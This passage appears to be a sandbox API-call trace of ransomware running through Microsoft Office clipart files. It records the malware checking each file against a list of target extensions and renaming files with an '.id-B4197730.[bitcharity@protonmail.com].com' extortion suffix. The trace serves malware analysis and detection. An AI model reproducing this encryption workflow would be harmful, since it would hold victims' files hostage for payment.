dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.248] CloseHandle (hObject=0x1158) returned 1 [0262.249] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.249] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00127_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00127_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.250] CloseHandle (hObject=0x1158) returned 1 [0262.251] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.251] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00132_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00132_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.252] CloseHandle (hObject=0x1158) returned 1 [0262.253] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.253] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00170_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00170_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.254] CloseHandle (hObject=0x1158) returned 1 [0262.256] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.256] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00560_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00560_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.257] CloseHandle (hObject=0x1158) returned 1 [0262.258] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.259] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00642_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00642_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.259] CloseHandle (hObject=0x1158) returned 1 [0262.260] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.261] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00788_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00788_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.261] CloseHandle (hObject=0x1158) returned 1 [0262.263] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.263] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00792_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00792_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.264] CloseHandle (hObject=0x1158) returned 1 [0262.266] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.266] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00795_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00795_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.267] CloseHandle (hObject=0x1158) returned 1 [0262.269] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.269] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00882_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00882_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.270] CloseHandle (hObject=0x1158) returned 1 [0262.277] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.277] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01006_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01006_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.278] CloseHandle (hObject=0x1158) returned 1 [0262.279] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.279] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01252_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01252_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.279] CloseHandle (hObject=0x1158) returned 1 [0262.281] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.281] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01253_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01253_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.281] CloseHandle (hObject=0x1158) returned 1 [0262.282] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.282] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01462_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01462_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.283] CloseHandle (hObject=0x1158) returned 1 [0262.283] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.283] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01491_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01491_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.753] CloseHandle (hObject=0x1158) returned 1 [0262.757] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.757] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01253_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01253_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.758] CloseHandle (hObject=0x1158) returned 1 [0262.759] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.760] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01268_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01268_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.760] CloseHandle (hObject=0x1158) returned 1 [0262.762] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.762] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01292_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01292_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.762] CloseHandle (hObject=0x1158) returned 1 [0262.764] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.764] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01293_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.764] CloseHandle (hObject=0x1158) returned 1 [0262.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF") returned 68 [0262.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF") returned 68 [0262.765] lstrlenW (lpString=".doc") returned 4 [0262.765] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.765] lstrlenW (lpString=".docx") returned 5 [0262.765] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.765] lstrlenW (lpString=".pdf") returned 4 [0262.765] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.765] lstrlenW (lpString=".xls") returned 4 [0262.765] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.765] lstrlenW (lpString=".xlsx") returned 5 [0262.765] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.765] lstrlenW (lpString=".ppt") returned 4 [0262.765] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF") returned 68 [0262.765] lstrlenW (lpString=".zip") returned 4 [0262.765] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.765] lstrlenW (lpString=".rar") returned 4 [0262.765] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.765] lstrlenW (lpString=".bz2") returned 4 [0262.766] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.766] lstrlenW (lpString=".7z") returned 3 [0262.766] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF") returned 68 [0262.766] lstrlenW (lpString=".dbf") returned 4 [0262.766] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF") returned 68 [0262.766] lstrlenW (lpString=".1cd") returned 4 [0262.766] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF") returned 68 [0262.766] lstrlenW (lpString=".jpg") returned 4 [0262.766] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF") returned 68 [0262.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF") returned 68 [0262.766] lstrlenW (lpString=".doc") returned 4 [0262.766] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.766] lstrlenW (lpString=".docx") returned 5 [0262.766] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.766] lstrlenW (lpString=".pdf") returned 4 [0262.766] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.766] lstrlenW (lpString=".xls") returned 4 [0262.766] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.767] lstrlenW (lpString=".xlsx") returned 5 [0262.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.767] lstrlenW (lpString=".ppt") returned 4 [0262.767] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF") returned 68 [0262.767] lstrlenW (lpString=".zip") returned 4 [0262.767] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.767] lstrlenW (lpString=".rar") returned 4 [0262.767] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.767] lstrlenW (lpString=".bz2") returned 4 [0262.767] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.767] lstrlenW (lpString=".7z") returned 3 [0262.767] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF") returned 68 [0262.767] lstrlenW (lpString=".dbf") returned 4 [0262.767] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF") returned 68 [0262.767] lstrlenW (lpString=".1cd") returned 4 [0262.767] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF") returned 68 [0262.767] lstrlenW (lpString=".jpg") returned 4 [0262.767] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.768] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0262.768] lstrlenW (lpString="WB01294_.GIF") returned 12 [0262.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01294_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0262.770] GetFileSizeEx (in: hFile=0x1158, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=685) returned 1 [0262.770] CloseHandle (hObject=0x1158) returned 1 [0262.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01294_.gif")) returned 0x220 [0262.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01294_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01294_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0262.770] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.770] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01294_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.771] CloseHandle (hObject=0x1158) returned 1 [0262.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF") returned 68 [0262.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF") returned 68 [0262.771] lstrlenW (lpString=".doc") returned 4 [0262.771] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.771] lstrlenW (lpString=".docx") returned 5 [0262.771] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.771] lstrlenW (lpString=".pdf") returned 4 [0262.771] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.772] lstrlenW (lpString=".xls") returned 4 [0262.772] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.772] lstrlenW (lpString=".xlsx") returned 5 [0262.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.772] lstrlenW (lpString=".ppt") returned 4 [0262.772] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF") returned 68 [0262.772] lstrlenW (lpString=".zip") returned 4 [0262.772] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.772] lstrlenW (lpString=".rar") returned 4 [0262.772] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.772] lstrlenW (lpString=".bz2") returned 4 [0262.772] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.772] lstrlenW (lpString=".7z") returned 3 [0262.772] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF") returned 68 [0262.772] lstrlenW (lpString=".dbf") returned 4 [0262.772] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF") returned 68 [0262.772] lstrlenW (lpString=".1cd") returned 4 [0262.772] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF") returned 68 [0262.772] lstrlenW (lpString=".jpg") returned 4 [0262.772] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF") returned 68 [0262.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF") returned 68 [0262.773] lstrlenW (lpString=".doc") returned 4 [0262.773] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.773] lstrlenW (lpString=".docx") returned 5 [0262.773] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.773] lstrlenW (lpString=".pdf") returned 4 [0262.773] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.773] lstrlenW (lpString=".xls") returned 4 [0262.773] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.773] lstrlenW (lpString=".xlsx") returned 5 [0262.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.773] lstrlenW (lpString=".ppt") returned 4 [0262.773] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF") returned 68 [0262.773] lstrlenW (lpString=".zip") returned 4 [0262.773] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.773] lstrlenW (lpString=".rar") returned 4 [0262.773] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.774] lstrlenW (lpString=".bz2") returned 4 [0262.774] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.774] lstrlenW (lpString=".7z") returned 3 [0262.774] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF") returned 68 [0262.774] lstrlenW (lpString=".dbf") returned 4 [0262.774] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF") returned 68 [0262.774] lstrlenW (lpString=".1cd") returned 4 [0262.774] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF") returned 68 [0262.774] lstrlenW (lpString=".jpg") returned 4 [0262.774] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.774] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0262.774] lstrlenW (lpString="WB01295_.GIF") returned 12 [0262.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 